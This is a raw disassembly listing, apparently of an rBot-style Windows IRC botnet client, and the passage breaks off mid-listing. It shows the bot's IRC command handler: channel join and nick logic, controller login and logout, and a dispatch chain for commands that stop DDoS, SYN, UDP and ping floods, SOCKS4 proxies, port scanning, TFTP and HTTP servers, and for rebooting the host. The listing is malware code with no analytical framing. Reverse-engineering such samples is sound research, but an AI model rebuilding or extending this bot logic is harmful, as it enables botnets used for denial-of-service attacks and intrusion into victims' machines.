test eax, eax
pop ecx
jnz short loc_409750
push dword ptr [ebp+Args] ; Args
mov byte ptr [esi+1], 4Fh
push offset aPongS ; "PONG %s\r\n"
push [ebp+arg_4] ; int
call sub_405E1E
mov eax, [ebp+arg_20]
add esp, 0Ch
cmp [eax], ebx
jnz loc_4097F4
push [ebp+arg_C]
push [ebp+arg_8] ; Args
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4] ; int
call sub_405E1E
add esp, 10h
jmp loc_4097F4
; ---------------------------------------------------------------------------
loc_409750: ; CODE XREF: sub_409557+1B7j
mov esi, dword ptr [ebp+Args]
push esi ; Str2
push offset a001 ; "001"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40E96C
push esi ; Str2
push offset a005 ; "005"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40E96C
push esi ; Str2
push offset a302 ; "302"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_4097BB
push offset a@ ; "@"
push [ebp+var_88] ; Str
call _strstr
pop ecx
cmp eax, ebx
pop ecx
jz short loc_4097F4
inc eax
push 9Fh ; Count
push eax ; Source
push [ebp+arg_1C] ; Dest
call _strncpy
add esp, 0Ch
jmp short loc_4097F4
; ---------------------------------------------------------------------------
loc_4097BB: ; CODE XREF: sub_409557+238j
push esi ; Str2
push offset a433 ; "433"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_4097FB
push ebx ; Str1
push dword_424A6C ; int
push dword_424A68 ; int
push [ebp+Dest] ; Dest
call sub_40FA38
push [ebp+Dest] ; Args
push offset aNickS ; "NICK %s\r\n"
push [ebp+arg_4] ; int
call sub_405E1E
add esp, 1Ch
loc_4097F4: ; CODE XREF: sub_409557+1D8j
; sub_409557+1F4j ...
mov eax, edi
jmp loc_4099D5
; ---------------------------------------------------------------------------
loc_4097FB: ; CODE XREF: sub_409557+273j
mov esi, [ebp+Str1]
mov [ebp+var_A4], 2
mov edi, 80h
loc_40980D: ; CODE XREF: sub_409557+2DBj
lea eax, [ebp+var_A94]
push eax ; Str2
push esi ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40982A
mov [ebp+var_AC], 1
loc_40982A: ; CODE XREF: sub_409557+2C7j
add esi, edi
dec [ebp+var_A4]
jnz short loc_40980D
mov esi, dword ptr [ebp+Args]
push esi ; Str2
push offset aKick ; "KICK"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_409921
mov esi, [ebp+Str1]
mov [ebp+File], 2
loc_409859: ; CODE XREF: sub_409557+38Fj
cmp [esi], bl
jz loc_4098E1
push 7Fh ; Count
lea eax, [ebp+var_A94]
push esi ; Source
push eax ; Dest
call _strncpy
lea eax, [ebp+var_C4]
add esp, 0Ch
test eax, eax
jz short loc_4098E1
cmp [ebp+var_88], ebx
jz short loc_4098E1
push [ebp+var_88] ; Str2
lea eax, [ebp+var_C4]
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_4098E1
lea eax, [ebp+var_C4]
mov [esi], bl
push eax
lea eax, [ebp+Dst]
push offset aMainUserSLogge ; "[MAIN]: User %s logged out."
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax
lea eax, [ebp+var_C4]
push eax ; Args
push offset aNoticeSS ; "NOTICE %s :%s\r\n"
push [ebp+arg_4] ; int
call sub_405E1E
lea eax, [ebp+Dst]
push eax
call sub_402D63
add esp, 20h
loc_4098E1: ; CODE XREF: sub_409557+304j
; sub_409557+324j ...
add esi, edi
dec [ebp+File]
jnz loc_409859
push [ebp+var_88] ; Str2
push [ebp+Dest] ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_4099D2
push [ebp+arg_C]
mov eax, [ebp+arg_20]
push [ebp+arg_8] ; Args
mov [eax], ebx
push offset aJoinSS ; "JOIN %s %s\r\n"
loc_409914: ; CODE XREF: sub_409557+5FCj
; sub_409557+83Fj ...
push [ebp+arg_4] ; int
call sub_405E1E
jmp loc_40E240
; ---------------------------------------------------------------------------
loc_409921: ; CODE XREF: sub_409557+2F2j
push esi ; Str2
push offset aNick ; "NICK"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_409A67
mov eax, [ebp+var_8C]
mov esi, [ebp+Str1]
inc eax
mov [ebp+Src], 2
mov [ebp+File], eax
loc_40994A: ; CODE XREF: sub_409557+445j
lea eax, [ebp+var_A94]
push eax ; Str2
push esi ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_409997
lea eax, [ebp+var_A94]
push 21h ; Val
push eax ; Str
call _strchr
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+arg_1C], eax
jz short loc_409997
push [ebp+File] ; Source
lea edi, [esi+2]
mov byte ptr [esi], 3Ah
lea eax, [edi-1]
push eax ; Dest
call _strcpy
push [ebp+arg_1C] ; Source
push edi ; Dest
call _strcat
add esp, 10h
mov edi, 80h
loc_409997: ; CODE XREF: sub_409557+404j
; sub_409557+41Bj
add esi, edi
dec [ebp+Src]
jnz short loc_40994A
lea eax, [ebp+var_C4]
test eax, eax
jz short loc_4099D2
cmp [ebp+File], ebx
jz short loc_4099D2
push [ebp+Dest] ; Str2
lea eax, [ebp+var_C4]
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_4099DA
push 0Fh ; Count
push [ebp+File] ; Source
push [ebp+Dest] ; Dest
call _strncpy
add esp, 0Ch
loc_4099D2: ; CODE XREF: sub_409557+5Bj
; sub_409557+F1j ...
push 1
loc_4099D4: ; CODE XREF: sub_409557+4FAAj
pop eax
loc_4099D5: ; CODE XREF: sub_409557+29Fj
; sub_409557+3527j ...
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_4099DA: ; CODE XREF: sub_409557+469j
mov edi, [ebp+Str1]
xor esi, esi
loc_4099DF: ; CODE XREF: sub_409557+4A9j
cmp [edi], bl
jz short loc_4099F6
lea eax, [ebp+var_A94]
push eax ; Str2
push edi ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_409A04
loc_4099F6: ; CODE XREF: sub_409557+48Aj
inc esi
add edi, 80h
cmp esi, 2
jl short loc_4099DF
jmp short loc_4099D2
; ---------------------------------------------------------------------------
loc_409A04: ; CODE XREF: sub_409557+49Dj
lea eax, [ebp+var_A94]
push 21h ; Val
push eax ; Str
call _strchr
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+Src], eax
jz short loc_4099D2
push eax ; Str
call _strlen
push [ebp+File] ; Str
mov edi, eax
call _strlen
add edi, eax
pop ecx
cmp edi, 7Eh
pop ecx
ja short loc_4099D2
push [ebp+Src]
shl esi, 7
push [ebp+File]
add esi, [ebp+Str1]
push offset aSS_3 ; ":%s%s"
push esi ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+var_4AC]
push ebx ; int
push eax ; int
push [ebp+arg_8] ; Str
push [ebp+arg_4] ; int
call sub_405E64
add esp, 24h
jmp loc_4099D2
; ---------------------------------------------------------------------------
loc_409A67: ; CODE XREF: sub_409557+3D9j
push esi ; Str2
push offset aPart ; "PART"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_409A89
push esi ; Str2
push offset aQuit ; "QUIT"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_409AB0
loc_409A89: ; CODE XREF: sub_409557+51Fj
mov edi, [ebp+Str1]
xor esi, esi
loc_409A8E: ; CODE XREF: sub_409557+557j
cmp [edi], bl
jz short loc_409AA4
push [ebp+Str2] ; Str2
push edi ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_409AF7
loc_409AA4: ; CODE XREF: sub_409557+539j
inc esi
add edi, 80h
cmp esi, 2
jl short loc_409A8E
loc_409AB0: ; CODE XREF: sub_409557+530j
push dword ptr [ebp+Args] ; Str2
push offset a353 ; "353"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_409B58
push [ebp+Str] ; Str2
push [ebp+arg_8] ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_409AE7
mov eax, [ebp+arg_20]
mov dword ptr [eax], 1
loc_409AE7: ; CODE XREF: sub_409557+585j
push [ebp+Str]
push offset aMainJoinedChan ; "[MAIN]: Joined channel: %s."
jmp loc_40E960
; ---------------------------------------------------------------------------
loc_409AF7: ; CODE XREF: sub_409557+54Bj
mov eax, [ebp+Str1]
shl esi, 7
mov [esi+eax], bl
lea eax, [ebp+var_C4]
push eax
lea eax, [ebp+Dst]
push offset aMainUserSLog_0 ; "[MAIN]: User: %s logged out."
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax
call sub_402D63
push dword ptr [ebp+Args] ; Str2
push offset aPart ; "PART"
call _strcmp
add esp, 18h
test eax, eax
jnz loc_4099D2
lea eax, [ebp+Dst]
push eax
mov eax, [ebp+Str2]
inc eax
push eax
push offset aNoticeSS ; "NOTICE %s :%s\r\n"
jmp loc_409914
; ---------------------------------------------------------------------------
loc_409B58: ; CODE XREF: sub_409557+56Dj
push dword ptr [ebp+Args] ; Str2
mov esi, offset aPrivmsg ; "PRIVMSG"
push esi ; Str1
call _strcmp
pop ecx
mov edi, offset aNotice ; "NOTICE"
test eax, eax
pop ecx
jz short loc_409BAC
push dword ptr [ebp+Args] ; Str2
push edi ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_409BAC
push dword ptr [ebp+Args] ; Str2
push offset a332 ; "332"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_40E7D9
cmp dword_424A54, ebx
jz loc_40E7D9
loc_409BAC: ; CODE XREF: sub_409557+61Bj
; sub_409557+62Dj
push dword ptr [ebp+Args] ; Str2
push esi ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_409CB2
push dword ptr [ebp+Args] ; Str2
push edi ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_409CB2
mov eax, [ebp+var_88]
inc [ebp+Str]
push 4
mov [ebp+var_8C], eax
pop esi
mov [ebp+var_A8], esi
loc_409BF3: ; CODE XREF: sub_409557+817j
; sub_409557+853j ...
shl esi, 2
mov ecx, [ebp+esi+Str2]
lea eax, [ebp+esi+Str2]
lea edi, [ecx+1]
mov [eax], edi
mov al, [ecx]
cmp al, byte_424A60
mov [ebp+arg_C], edi
jnz loc_4099D2
push edi ; Str2
push offset aHi ; "hi"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40E7E1
push edi ; Str2
push offset aFr ; "Fr"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40E7E1
cmp [ebp+var_AC], ebx
jnz short loc_409C66
push dword ptr [ebp+Args] ; Str2
push offset a332 ; "332"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_40E7D9
loc_409C66: ; CODE XREF: sub_409557+6F3j
cmp [ebp+arg_28], ebx
jnz loc_40E7D9
cmp dword_424E64, ebx
mov [ebp+arg_8], ebx
jle loc_409F48
mov [ebp+arg_20], offset Str1
loc_409C85: ; CODE XREF: sub_409557+754j
push edi ; Str2
push [ebp+arg_20] ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_409DDA
inc [ebp+arg_8]
add [ebp+arg_20], 0B8h
mov eax, [ebp+arg_8]
cmp eax, dword_424E64
jl short loc_409C85
jmp loc_409F48
; ---------------------------------------------------------------------------
loc_409CB2: ; CODE XREF: sub_409557+665j
; sub_409557+67Bj
push dword ptr [ebp+Args] ; Str2
push edi ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_409CCB
mov [ebp+var_4], 1
loc_409CCB: ; CODE XREF: sub_409557+76Bj
cmp [ebp+var_8C], ebx
jz loc_4099D2
push offset asc_42726C ; "#"
push [ebp+var_8C] ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jz short loc_409CF2
cmp [ebp+var_4], ebx
jz short loc_409CFE
loc_409CF2: ; CODE XREF: sub_409557+794j
lea eax, [ebp+var_C4]
mov [ebp+var_8C], eax
loc_409CFE: ; CODE XREF: sub_409557+799j
cmp [ebp+var_88], ebx
jz loc_4099D2
inc [ebp+var_88]
jz short loc_409D4A
cmp [ebp+Dest], ebx
jz short loc_409D4A
lea eax, [ebp+var_564]
push eax ; Str
call _strlen
push eax ; MaxCount
lea eax, [ebp+var_564]
push [ebp+var_88] ; Str2
push eax ; Str1
call _strncmp
mov esi, eax
add esp, 10h
neg esi
sbb esi, esi
add esi, 4
mov [ebp+var_A8], esi
jmp short loc_409D50
; ---------------------------------------------------------------------------
loc_409D4A: ; CODE XREF: sub_409557+7B9j
; sub_409557+7BEj
mov esi, [ebp+var_A8]
loc_409D50: ; CODE XREF: sub_409557+7F1j
mov edi, [ebp+esi*4+Str2]
cmp edi, ebx
jz loc_4099D2
push edi ; Str2
push offset dword_427260 ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_409BF3
mov ecx, [ebp+var_8C]
cmp byte ptr [ecx], 23h
jz short loc_409D9B
mov eax, dword_475254
mov eax, off_424B14[eax*4]
cmp [eax], bl
jz short loc_409D9B
push eax
push ecx
push offset dword_427244
jmp loc_409914
; ---------------------------------------------------------------------------
loc_409D9B: ; CODE XREF: sub_409557+826j
; sub_409557+836j
push edi ; Str2
push offset dword_42723C ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_409BF3
mov eax, dword ptr [ebp+esi*4+Args]
cmp eax, ebx
jz loc_409BF3
mov ecx, [ebp+var_8C]
cmp byte ptr [ecx], 23h
jz loc_409BF3
push eax
push ecx
push offset dword_427224
jmp loc_409914
; ---------------------------------------------------------------------------
loc_409DDA: ; CODE XREF: sub_409557+73Bj
push offset asc_427350 ; " :"
push [ebp+Src] ; Str
call _strstr
pop ecx
cmp eax, ebx
pop ecx
jz loc_4099D2
mov edi, [ebp+arg_8]
mov cl, byte_424A60
imul edi, 0B8h
mov [eax+2], cl
mov cl, byte_424A60
mov [eax+3], cl
lea ecx, dword_42F7D8[edi]
push 9Fh ; Count
add eax, 4
push ecx ; Source
push eax ; Dest
call _strncpy
lea eax, [ebp+esi+var_54]
add esp, 0Ch
mov [ebp+arg_8], 0Fh
mov [ebp+arg_20], eax
loc_409E32: ; CODE XREF: sub_409557+983j
push [ebp+arg_8]
lea eax, [ebp+SubStr]
push offset aD ; "$%d-"
push eax ; Dest
call _sprintf
lea eax, [ebp+SubStr]
push eax ; SubStr
push [ebp+Src] ; Str
call _strstr
add esp, 14h
test eax, eax
jz short loc_409E9E
mov eax, [ebp+arg_20]
cmp [eax], ebx
jz short loc_409E9E
lea eax, Str1[edi]
push eax ; Str
call _strlen
add [ebp+var_C], eax
pop ecx
jz short loc_409ED0
mov eax, [ebp+arg_20]
push dword ptr [eax-4] ; SubStr
push [ebp+var_C] ; Str
call _strstr
pop ecx
cmp eax, ebx
pop ecx
jz short loc_409ED0
push eax ; Source
lea eax, [ebp+SubStr]
push eax ; SubStr
push [ebp+Src] ; Src
call sub_406DDF
add esp, 0Ch
jmp short loc_409ED0
; ---------------------------------------------------------------------------
loc_409E9E: ; CODE XREF: sub_409557+903j
; sub_409557+90Aj
mov eax, [ebp+arg_20]
cmp [eax], ebx
jnz short loc_409ED0
lea eax, [ebp+SubStr]
push 2 ; Count
push eax ; Source
lea eax, [ebp+Source]
push eax ; Dest
call _strncpy
lea eax, [ebp+Source]
mov [ebp+var_12], bl
push eax ; Source
lea eax, [ebp+SubStr]
push eax ; SubStr
push [ebp+Src] ; Src
call sub_406DDF
add esp, 18h
loc_409ED0: ; CODE XREF: sub_409557+91Cj
; sub_409557+930j ...
dec [ebp+arg_8]
sub [ebp+arg_20], 4
cmp [ebp+arg_8], ebx
jg loc_409E32
lea eax, [ebp+esi+var_54]
mov [ebp+arg_8], 10h
mov edi, eax
loc_409EED: ; CODE XREF: sub_409557+9E2j
push [ebp+arg_8]
lea eax, [ebp+SubStr]
push offset aD_1 ; "$%d"
push eax ; Dest
call _sprintf
lea eax, [ebp+SubStr]
push eax ; SubStr
push [ebp+Src] ; Str
call _strstr
add esp, 14h
test eax, eax
jz short loc_409F30
mov eax, [edi]
cmp eax, ebx
jz short loc_409F30
push eax ; Source
lea eax, [ebp+SubStr]
push eax ; SubStr
push [ebp+Src] ; Src
call sub_406DDF
add esp, 0Ch
loc_409F30: ; CODE XREF: sub_409557+9BEj
; sub_409557+9C4j
dec [ebp+arg_8]
sub edi, 4
cmp [ebp+arg_8], ebx
jg short loc_409EED
mov edi, [ebp+arg_C]
mov [ebp+var_C8], 1
loc_409F48: ; CODE XREF: sub_409557+721j
; sub_409557+756j
mov al, [edi]
cmp al, byte_424A60
jz short loc_409F5E
cmp [ebp+var_C8], ebx
jz loc_40A143
loc_409F5E: ; CODE XREF: sub_409557+9F9j
push [ebp+Dest] ; Source
mov edi, [ebp+Src]
push offset aMe ; "$me"
push edi ; Src
call sub_406DDF
lea eax, [ebp+var_C4]
push eax ; Source
push offset aUser_1 ; "$user"
push edi ; Src
call sub_406DDF
push [ebp+var_8C] ; Source
push offset aChan ; "$chan"
push edi ; Src
call sub_406DDF
push ebx ; Str1
push ebx ; int
lea eax, [ebp+SubStr]
push 2 ; int
push eax ; Dest
call sub_40FA38
push eax ; Source
push offset aRndnick ; "$rndnick"
push edi ; Src
call sub_406DDF
add esp, 40h
push [ebp+arg_14] ; Source
push offset aServer ; "$server"
push edi ; Src
call sub_406DDF
mov edi, offset aChr ; "$chr("
push edi ; SubStr
push [ebp+Src] ; Str
call _strstr
add esp, 14h
loc_409FD0: ; CODE XREF: sub_409557+B65j
test eax, eax
jz loc_40A0C1
push edi ; SubStr
push [ebp+Src] ; Str
call _strstr
mov [ebp+Dest], eax
add eax, 5
push 4 ; Count
push eax ; Source
lea eax, [ebp+SubStr]
push eax ; Dest
call _strncpy
lea eax, [ebp+SubStr]
push offset asc_4271E4 ; ")"
push eax ; Str
call _strtok
add esp, 1Ch
cmp [ebp+SubStr], 30h
jl short loc_40A01C
cmp [ebp+SubStr], 39h
jle short loc_40A032
loc_40A01C: ; CODE XREF: sub_409557+ABAj
push 3 ; Count
lea eax, [ebp+SubStr]
push offset a63 ; "63"
push eax ; Dest
call _strncpy
add esp, 0Ch
loc_40A032: ; CODE XREF: sub_409557+AC3j
lea eax, [ebp+SubStr]
push eax ; Str
call _atoi
test eax, eax
pop ecx
jle short loc_40A055
lea eax, [ebp+SubStr]
push eax ; Str
call _atoi
pop ecx
mov [ebp+Source], al
jmp short loc_40A066
; ---------------------------------------------------------------------------
loc_40A055: ; CODE XREF: sub_409557+AEAj
call _rand
push 60h
cdq
pop ecx
idiv ecx
add dl, 20h
mov [ebp+Source], dl
loc_40A066: ; CODE XREF: sub_409557+AFCj
lea eax, [ebp+SubStr]
mov [ebp+var_13], bl
push eax ; Str
call _strlen
mov [ebp+arg_8], eax
push 0Ch ; Size
lea eax, [ebp+SubStr]
push ebx ; Val
push eax ; Dst
call _memset
mov eax, [ebp+arg_8]
add eax, 6
push eax ; Count
lea eax, [ebp+SubStr]
push [ebp+Dest] ; Source
push eax ; Dest
call _strncpy
lea eax, [ebp+Source]
push eax ; Source
lea eax, [ebp+SubStr]
push eax ; SubStr
push [ebp+Src] ; Src
call sub_406DDF
push edi ; SubStr
push [ebp+Src] ; Str
call _strstr
add esp, 30h
jmp loc_409FD0
; ---------------------------------------------------------------------------
loc_40A0C1: ; CODE XREF: sub_409557+A7Bj
mov edi, 1FFh
lea eax, [ebp+var_F9C]
push edi ; Count
push [ebp+Src] ; Source
push eax ; Dest
call _strncpy
lea eax, [ebp+var_F9C]
push edi ; Count
push eax ; Source
lea eax, [ebp+var_119C]
push eax ; Dest
call _strncpy
lea eax, [ebp+var_119C]
push offset Delim ; " "
push eax ; Str
call _strtok
add esp, 20h
mov [ebp+Str2], eax
lea edi, [ebp+Args]
mov [ebp+Dest], 1Fh
loc_40A111: ; CODE XREF: sub_409557+BCFj
push offset Delim ; " "
push ebx ; Str
call _strtok
mov [edi], eax
pop ecx
add edi, 4
dec [ebp+Dest]
pop ecx
jnz short loc_40A111
mov ecx, [ebp+esi+Str2]
lea eax, [ebp+esi+Str2]
cmp ecx, ebx
jz loc_4099D2
add ecx, 3
mov [eax], ecx
loc_40A143: ; CODE XREF: sub_409557+A01j
mov edi, [ebp+esi+Str2]
push edi ; Str2
push offset aRndnick_0 ; "rndnick"
mov [ebp+Dest], edi
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40E78C
push edi ; Str2
push offset aRn ; "rn"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40E78C
push edi ; Str2
push offset aDie ; "die"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40E76A
push edi ; Str2
push offset aD_0 ; "d"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40E76A
push edi ; Str2
push offset aLogout ; "logout"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40E6BF
push edi ; Str2
push offset aLo ; "lo"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40E6BF
push edi ; Str2
push offset aVersion ; "version"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40E6B0
push edi ; Str2
push offset aVer ; "ver"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40E6B0
push edi ; Str2
push offset aSocks4 ; "socks4"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40E58E
push edi ; Str2
push offset aS4 ; "s4"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40E58E
push edi ; Str2
push offset aSocks4stop ; "socks4stop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40A248
push dword ptr [ebp+esi+Args]
push 11h
push offset aServer_0 ; "Server"
push offset aSocks4_0 ; "[SOCKS4]"
jmp loc_40E572
; ---------------------------------------------------------------------------
loc_40A248: ; CODE XREF: sub_409557+CD7j
push edi ; Str2
push offset aRloginstop ; "rloginstop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40A271
push dword ptr [ebp+esi+Args]
push 6
push offset aServer_0 ; "Server"
push offset aRlogind ; "[RLOGIND]"
jmp loc_40E572
; ---------------------------------------------------------------------------
loc_40A271: ; CODE XREF: sub_409557+D00j
push edi ; Str2
push offset aHttpstop ; "httpstop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40A29A
push dword ptr [ebp+esi+Args]
push 3
push offset aServer_0 ; "Server"
push offset aHttpd ; "[HTTPD]"
jmp loc_40E572
; ---------------------------------------------------------------------------
loc_40A29A: ; CODE XREF: sub_409557+D29j
push edi ; Str2
push offset aLogstop ; "logstop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40A2C3
push dword ptr [ebp+esi+Args]
push 1Ch
push offset aLogList ; "Log list"
push offset aLog ; "[LOG]"
jmp loc_40E572
; ---------------------------------------------------------------------------
loc_40A2C3: ; CODE XREF: sub_409557+D52j
push edi ; Str2
push offset aRedirectstop ; "redirectstop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40A2EC
push dword ptr [ebp+esi+Args]
push 10h
push offset aTcpRedirect ; "TCP redirect"
push offset aRedirect ; "[REDIRECT]"
jmp loc_40E572
; ---------------------------------------------------------------------------
loc_40A2EC: ; CODE XREF: sub_409557+D7Bj
push edi ; Str2
push offset aDdos_stop ; "ddos.stop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40A315
push dword ptr [ebp+esi+Args]
push 0Ah
push offset aDdosFlood ; "DDoS flood"
push offset aDdos ; "[DDoS]"
jmp loc_40E572
; ---------------------------------------------------------------------------
loc_40A315: ; CODE XREF: sub_409557+DA4j
push edi ; Str2
push offset aSynstop ; "synstop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40A33E
push dword ptr [ebp+esi+Args]
push 0Bh
push offset aSynFlood ; "Syn flood"
push offset aSyn ; "[SYN]"
jmp loc_40E572
; ---------------------------------------------------------------------------
loc_40A33E: ; CODE XREF: sub_409557+DCDj
push edi ; Str2
push offset aUdpstop ; "udpstop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40A367
push dword ptr [ebp+esi+Args]
push 0Fh
push offset aUdpFlood ; "UDP flood"
push offset aUpd ; "[UPD]"
jmp loc_40E572
; ---------------------------------------------------------------------------
loc_40A367: ; CODE XREF: sub_409557+DF6j
push edi ; Str2
push offset aPingstop ; "pingstop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40A390
push dword ptr [ebp+esi+Args]
push 0Eh
push offset aPingFlood ; "Ping flood"
push offset aPing_0 ; "[PING]"
jmp loc_40E572
; ---------------------------------------------------------------------------
loc_40A390: ; CODE XREF: sub_409557+E1Fj
push edi ; Str2
push offset aTftpstop ; "tftpstop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40A3B9
push dword ptr [ebp+esi+Args]
push 4
push offset aServer_0 ; "Server"
push offset aTftp ; "[TFTP]"
jmp loc_40E572
; ---------------------------------------------------------------------------
loc_40A3B9: ; CODE XREF: sub_409557+E48j
push edi ; Str2
push offset aProcsstop ; "procsstop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40E55F
push edi ; Str2
push offset aPsstop ; "psstop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40E55F
push edi ; Str2
push offset aClonestop ; "clonestop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40A40C
push dword ptr [ebp+esi+Args]
push 17h
push offset aClone ; "Clone"
push offset aClones ; "[CLONES]"
jmp loc_40E572
; ---------------------------------------------------------------------------
loc_40A40C: ; CODE XREF: sub_409557+E9Bj
push edi ; Str2
push offset aSecurestop ; "securestop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40A435
push dword ptr [ebp+esi+Args]
push 19h
push offset aSecure ; "Secure"
push offset aSecure_0 ; "[SECURE]"
jmp loc_40E572
; ---------------------------------------------------------------------------
loc_40A435: ; CODE XREF: sub_409557+EC4j
push edi ; Str2
push offset aScanstop ; "scanstop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40A45E
push dword ptr [ebp+esi+Args]
push 8
push offset aScan ; "Scan"
push offset aScan_0 ; "[SCAN]"
jmp loc_40E572
; ---------------------------------------------------------------------------
loc_40A45E: ; CODE XREF: sub_409557+EEDj
push edi ; Str2
push offset aScanstats ; "scanstats"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40E549
push edi ; Str2
push offset aStats ; "stats"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40E549
push edi ; Str2
push offset aReconnect ; "reconnect"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40E528
push edi ; Str2
push offset aR ; "r"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40E528
push edi ; Str2
push offset aDisconnect ; "disconnect"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40E506
push edi ; Str2
push offset aDc ; "dc"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40E506
push edi ; Str2
push offset aQuit_0 ; "quit"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40E4BE
push edi ; Str2
push offset aQ ; "q"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40E4BE
push edi ; Str2
push offset aStatus ; "status"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40E480
push edi ; Str2
push offset aS_7 ; "s"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40E480
push edi ; Str2
push offset aId ; "id"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40E449
push edi ; Str2
push offset aI_0 ; "i"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40E449
push edi ; Str2
push offset aReboot ; "reboot"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40A5AC
call sub_407228
test eax, eax
mov eax, offset aMainRebootingS ; "[MAIN]: Rebooting system."
jnz short loc_40A57E
mov eax, offset aMainFailedToRe ; "[MAIN]: Failed to reboot system."
loc_40A57E: ; CODE XREF: sub_409557+1020j
push eax ; Format
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push eax ; int
push [ebp+var_8C] ; Str
push [ebp+arg_4] ; int
call sub_405E64
add esp, 1Ch
jmp loc_40CA6C
; ---------------------------------------------------------------------------
loc_40A5AC: ; CODE XREF: sub_409557+1012j
push edi ; Str2
push offset aThreads ; "threads"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40E358
push edi ; Str2
push offset aT ; "t"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40E358
push edi ; Str2
push offset aAliases ; "aliases"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40E338
push edi ; Str2
push offset aAl ; "al"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40E338
push edi ; Str2
push offset aLog_0 ; "log"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40E248
push edi ; Str2
push offset aLg ; "lg"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40E248
push edi ; Str2
push offset aClearlog ; "clearlog"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40E22C
push edi ; Str2
push offset aClg ; "clg"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40E22C
push edi ; Str2
push offset aNetinfo ; "netinfo"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40E1F5
push edi ; Str2
push offset aNi ; "ni"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40E1F5
push edi ; Str2
push offset aSysinfo ; "sysinfo"
call _strcmp
